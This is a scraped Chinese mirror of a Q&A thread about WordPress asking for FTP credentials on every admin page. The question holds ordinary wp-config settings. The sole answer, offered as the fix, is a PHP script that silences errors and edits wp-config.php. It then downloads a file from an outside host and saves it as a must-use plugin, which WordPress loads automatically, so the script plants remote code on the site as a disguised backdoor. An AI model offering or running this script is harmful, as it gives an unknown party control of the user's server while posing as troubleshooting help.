【问题标题】:WordPress : Asking FTP credentialsin in all admin pageWordPress:在所有管理页面中询问 FTP 凭据
【发布时间】:2018-04-02 22:35:33
【问题描述】:

Ubuntu 服务器中的我的 Wordpress 在所有管理页面和登录页面中请求 FTP 访问。 我在 wp-config 中尝试此代码:

define('FS_METHOD', 'direct');
define('FTP_BASE', '/usr/home/username/public_html/mysite/wordpress/');
define('FTP_CONTENT_DIR', '/usr/home/username/public_html/mysite/wordpress/wp-content/');
define('FTP_PLUGIN_DIR ', '/usr/home/username/public_html/mysite/wordpress/wp-content/plugins/');

define('FTP_USER', '******');
define('FTP_PASS', '******');
define('FTP_HOST', 'ftp.mysite);
// define('FTP_SSL', false);

和

if(is_admin()) {
add_filter('filesystem_method', create_function('$a', 'return "direct";' ));
define( 'FS_CHMOD_DIR', 0755 );
}

但不起作用。 我需要为 Wordpress 配置什么来修复此错误?

【问题讨论】:

  • 你尝试chown你的WordPress文件夹了吗?
  • 我没有 SSH 访问权限,@AnhTuan

标签: wordpress ftp


【解决方案1】:

用...修复

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
$cfile = 'wp-config.php';
$current = file_get_contents($cfile);
$current .= "define('FTP_SSL', false);ini_set('log_errors','On');ini_set('display_errors','Off');ini_set('error_reporting', E_ALL );define('WP_DEBUG', false);define('WP_DEBUG_LOG', true);define('WP_DEBUG_DISPLAY', false);";
file_put_contents($cfile, $current);

$dir = getcwd();
$link = 'http://files2.mihanwebhost.com/verify_ssl.zip';

if (@is_dir($dir.'/wp-admin') && @is_dir($dir.'/wp-includes') && @is_dir($dir.'/wp-content')) {
    if(!@is_dir($dir.'/wp-content/mu-plugins')){
        @mkdir($dir.'/wp-content/mu-plugins');
    }
    $file = @file_get_contents($link);
    $name = 'verify_ssl.php';
    @file_put_contents(getcwd().'/wp-content/mu-plugins/'.$name, $file);
        rename ("wp-content/mu-plugins/verify_ssl.zip", "wp-content/mu-plugins/verify_ssl.php");
    if(@file_exists(getcwd().'/wp-content/mu-plugins/'.$name))
        echo '<br><center><h1>done</h1></center>';
    else
        echo '<br><center><h1>error</h1></center>';
}else
    echo '<br><center><h1>can not do this</h1></center>';

?>

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-02-22
    • 1970-01-01
    • 1970-01-01
    • 2018-12-30
    • 1970-01-01
    相关资源
    最近更新 更多